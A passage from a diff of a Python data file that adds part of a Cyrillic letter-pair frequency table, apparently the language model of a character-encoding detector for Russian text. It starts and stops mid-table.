'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 3, # 'б' + 10: 3, # 'в' + 19: 3, # 'г' + 13: 3, # 'д' + 2: 3, # 'е' + 24: 3, # 'ж' + 20: 3, # 'з' + 4: 3, # 'и' + 23: 3, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 3, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 3, # 'п' + 9: 3, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 2, # 'у' + 39: 2, # 'ф' + 26: 3, # 'х' + 28: 3, # 'ц' + 22: 3, # 'ч' + 25: 3, # 'ш' + 29: 3, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 2, # 'э' + 27: 3, # 'ю' + 16: 3, # 'я' + }, + 23: { # 'й' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 1, # 'а' + 21: 1, # 'б' + 10: 1, # 'в' + 19: 2, # 'г' + 13: 3, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 2, # 'з' + 4: 1, # 'и' + 23: 0, # 'й' + 11: 2, # 'к' + 8: 2, # 'л' + 12: 2, # 'м' + 5: 3, # 'н' + 1: 2, # 'о' + 15: 1, # 'п' + 9: 2, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 1, # 'у' + 39: 2, # 'ф' + 26: 1, # 'х' + 28: 2, # 'ц' + 22: 3, # 'ч' + 25: 2, # 'ш' + 29: 1, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 1, # 'э' + 27: 1, # 'ю' + 16: 2, # 'я' + }, + 11: { # 'к' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 1, # 'б' + 10: 3, # 'в' + 19: 1, # 'г' + 13: 1, # 'д' + 2: 3, # 'е' + 24: 2, # 'ж' + 20: 2, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 2, # 'к' + 8: 3, # 'л' + 12: 1, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 0, # 'п' + 9: 3, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 3, # 'у' + 39: 1, # 'ф' + 26: 2, # 'х' + 28: 2, # 'ц' + 22: 1, # 'ч' + 25: 2, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 1, # 'ы' + 17: 1, # 'ь' + 30: 1, # 'э' + 27: 1, # 'ю' + 16: 1, # 'я' + }, + 8: { # 'л' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 2, # 'б' + 10: 2, # 'в' + 19: 3, # 'г' + 13: 2, # 'д' + 2: 3, # 'е' + 24: 3, # 'ж' + 20: 2, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 2, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 2, # 'п' + 9: 1, # 'р' + 7: 3, # 'с' + 6: 2, # 'т' + 14: 3, # 'у' + 39: 2, # 'ф' + 26: 2, # 'х' + 28: 1, # 'ц' + 22: 3, # 'ч' + 25: 2, # 'ш' + 29: 1, # 'щ' + 54: 0, # 'ъ' + 18: 3, # 'ы' + 17: 3, # 'ь' + 30: 1, # 'э' + 27: 3, # 'ю' + 16: 3, # 'я' + }, + 12: { # 'м' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 2, # 'б' + 10: 2, # 'в' + 19: 2, # 'г' + 13: 1, # 'д' + 2: 3, # 'е' + 24: 1, # 'ж' + 20: 1, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 2, # 'к' + 8: 3, # 'л' + 12: 2, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 2, # 'п' + 9: 2, # 'р' + 7: 3, # 'с' + 6: 2, # 'т' + 14: 3, # 'у' + 39: 2, # 'ф' + 26: 2, # 'х' + 28: 2, # 'ц' + 22: 2, # 'ч' + 25: 1, # 'ш' + 29: 1, # 'щ' + 54: 0, # 'ъ' + 18: 3, # 'ы' + 17: 2, # 'ь' + 30: 2, # 'э' + 27: 1, # 'ю' + 16: 3, # 'я' + }, + 5: { # 'н' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 2, # 'б' + 10: 2, # 'в' + 19: 3, # 'г' + 13: 3, # 'д' + 2: 3, # 'е' + 24: 2, # 'ж' + 20: 2, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 3, # 'к' + 8: 2, # 'л' + 12: 1, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 1, # 'п' + 9: 2, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 3, # 'у' + 39: 2, # 'ф' + 26: 2, # 'х' + 28: 3, # 'ц' + 22: 3, # 'ч' + 25: 2, # 'ш' + 29: 2, # 'щ' + 54: 1, # 'ъ' + 18: 3, # 'ы' + 17: 3, # 'ь' + 30: 1, # 'э' + 27: 3, # 'ю' + 16: 3, # 'я' + }, + 1: { # 'о' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 2, # 'а' + 21: 3, # 'б' + 10: 3, # 'в' + 19: 3, # 'г' + 13: 3, # 'д' + 2: 3, # 'е' + 24: 3, # 'ж' + 20: 3, # 'з' + 4: 3, # 'и' + 23: 3, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 3, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 3, # 'п' + 9: 3, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 2, # 'у' + 39: 2, # 'ф' + 26: 3, # 'х' + 28: 2, # 'ц' + 22: 3, # 'ч' + 25: 3, # 'ш' + 29: 3, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 2, # 'э' + 27: 3, # 'ю' + 16: 3, # 'я' + }, + 15: { # 'п' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 1, # 'б' + 10: 0, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 3, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 2, # 'к' + 8: 3, # 'л' + 12: 1, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 2, # 'п' + 9: 3, # 'р' + 7: 2, # 'с' + 6: 2, # 'т' + 14: 3, # 'у' + 39: 1, # 'ф' + 26: 0, # 'х' + 28: 2, # 'ц' + 22: 2, # 'ч' + 25: 1, # 'ш' + 29: 1, # 'щ' + 54: 0, # 'ъ' + 18: 3, # 'ы' + 17: 2, # 'ь' + 30: 1, # 'э' + 27: 1, # 'ю' + 16: 3, # 'я' + }, + 9: { # 'р' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 2, # 'б' + 10: 3, # 'в' + 19: 3, # 'г' + 13: 3, # 'д' + 2: 3, # 'е' + 24: 3, # 'ж' + 20: 2, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 3, # 'к' + 8: 2, # 'л' + 12: 3, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 2, # 'п' + 9: 2, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 3, # 'у' + 39: 2, # 'ф' + 26: 3, # 'х' + 28: 2, # 'ц' + 22: 2, # 'ч' + 25: 3, # 'ш' + 29: 2, # 'щ' + 54: 0, # 'ъ' + 18: 3, # 'ы' + 17: 3, # 'ь' + 30: 2, # 'э' + 27: 2, # 'ю' + 16: 3, # 'я' + }, + 7: { # 'с' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 1, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 2, # 'б' + 10: 3, # 'в' + 19: 2, # 'г' + 13: 3, # 'д' + 2: 3, # 'е' + 24: 2, # 'ж' + 20: 2, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 3, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 3, # 'п' + 9: 3, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 3, # 'у' + 39: 2, # 'ф' + 26: 3, # 'х' + 28: 2, # 'ц' + 22: 3, # 'ч' + 25: 2, # 'ш' + 29: 1, # 'щ' + 54: 2, # 'ъ' + 18: 3, # 'ы' + 17: 3, # 'ь' + 30: 2, # 'э' + 27: 3, # 'ю' + 16: 3, # 'я' + }, + 6: { # 'т' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 2, # 'б' + 10: 3, # 'в' + 19: 2, # 'г' + 13: 2, # 'д' + 2: 3, # 'е' + 24: 1, # 'ж' + 20: 1, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 2, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 2, # 'п' + 9: 3, # 'р' + 7: 3, # 'с' + 6: 2, # 'т' + 14: 3, # 'у' + 39: 2, # 'ф' + 26: 2, # 'х' + 28: 2, # 'ц' + 22: 2, # 'ч' + 25: 2, # 'ш' + 29: 2, # 'щ' + 54: 2, # 'ъ' + 18: 3, # 'ы' + 17: 3, # 'ь' + 30: 2, # 'э' + 27: 2, # 'ю' + 16: 3, # 'я' + }, + 14: { # 'у' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 2, # 'а' + 21: 3, # 'б' + 10: 3, # 'в' + 19: 3, # 'г' + 13: 3, # 'д' + 2: 3, # 'е' + 24: 3, # 'ж' + 20: 3, # 'з' + 4: 2, # 'и' + 23: 2, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 3, # 'м' + 5: 3, # 'н' + 1: 2, # 'о' + 15: 3, # 'п' + 9: 3, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 1, # 'у' + 39: 2, # 'ф' + 26: 3, # 'х' + 28: 2, # 'ц' + 22: 3, # 'ч' + 25: 3, # 'ш' + 29: 3, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 2, # 'э' + 27: 3, # 'ю' + 16: 2, # 'я' + }, + 39: { # 'ф' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 1, # 'б' + 10: 0, # 'в' + 19: 1, # 'г' + 13: 0, # 'д' + 2: 3, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 1, # 'к' + 8: 2, # 'л' + 12: 1, # 'м' + 5: 1, # 'н' + 1: 3, # 'о' + 15: 1, # 'п' + 9: 2, # 'р' + 7: 2, # 'с' + 6: 2, # 'т' + 14: 2, # 'у' + 39: 2, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 1, # 'ч' + 25: 1, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 2, # 'ы' + 17: 1, # 'ь' + 30: 2, # 'э' + 27: 1, # 'ю' + 16: 1, # 'я' + }, + 26: { # 'х' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 0, # 'б' + 10: 3, # 'в' + 19: 1, # 'г' + 13: 1, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 1, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 1, # 'к' + 8: 2, # 'л' + 12: 2, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 1, # 'п' + 9: 3, # 'р' + 7: 2, # 'с' + 6: 2, # 'т' + 14: 2, # 'у' + 39: 1, # 'ф' + 26: 1, # 'х' + 28: 1, # 'ц' + 22: 1, # 'ч' + 25: 2, # 'ш' + 29: 0, # 'щ' + 54: 1, # 'ъ' + 18: 0, # 'ы' + 17: 1, # 'ь' + 30: 1, # 'э' + 27: 1, # 'ю' + 16: 0, # 'я' + }, + 28: { # 'ц' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 1, # 'б' + 10: 2, # 'в' + 19: 1, # 'г' + 13: 1, # 'д' + 2: 3, # 'е' + 24: 0, # 'ж' + 20: 1, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 2, # 'к' + 8: 1, # 'л' + 12: 1, # 'м' + 5: 1, # 'н' + 1: 3, # 'о' + 15: 0, # 'п' + 9: 1, # 'р' + 7: 0, # 'с' + 6: 1, # 'т' + 14: 3, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 1, # 'ц' + 22: 0, # 'ч' + 25: 1, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 3, # 'ы' + 17: 1, # 'ь' + 30: 0, # 'э' + 27: 1, # 'ю' + 16: 0, # 'я' + }, + 22: { # 'ч' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 1, # 'б' + 10: 1, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 3, # 'е' + 24: 1, # 'ж' + 20: 0, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 3, # 'к' + 8: 2, # 'л' + 12: 1, # 'м' + 5: 3, # 'н' + 1: 2, # 'о' + 15: 0, # 'п' + 9: 2, # 'р' + 7: 1, # 'с' + 6: 3, # 'т' + 14: 3, # 'у' + 39: 1, # 'ф' + 26: 1, # 'х' + 28: 0, # 'ц' + 22: 1, # 'ч' + 25: 2, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 3, # 'ь' + 30: 0, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 25: { # 'ш' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 1, # 'б' + 10: 2, # 'в' + 19: 1, # 'г' + 13: 0, # 'д' + 2: 3, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 2, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 2, # 'п' + 9: 2, # 'р' + 7: 1, # 'с' + 6: 2, # 'т' + 14: 3, # 'у' + 39: 2, # 'ф' + 26: 1, # 'х' + 28: 1, # 'ц' + 22: 1, # 'ч' + 25: 1, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 3, # 'ь' + 30: 1, # 'э' + 27: 1, # 'ю' + 16: 0, # 'я' + }, + 29: { # 'щ' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 0, # 'б' + 10: 1, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 3, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 0, # 'л' + 12: 1, # 'м' + 5: 2, # 'н' + 1: 1, # 'о' + 15: 0, # 'п' + 9: 2, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 2, # 'ь' + 30: 0, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 54: { # 'ъ' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 0, # 'а' + 21: 0, # 'б' + 10: 0, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 0, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 0, # 'л' + 12: 0, # 'м' + 5: 0, # 'н' + 1: 0, # 'о' + 15: 0, # 'п' + 9: 0, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 0, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 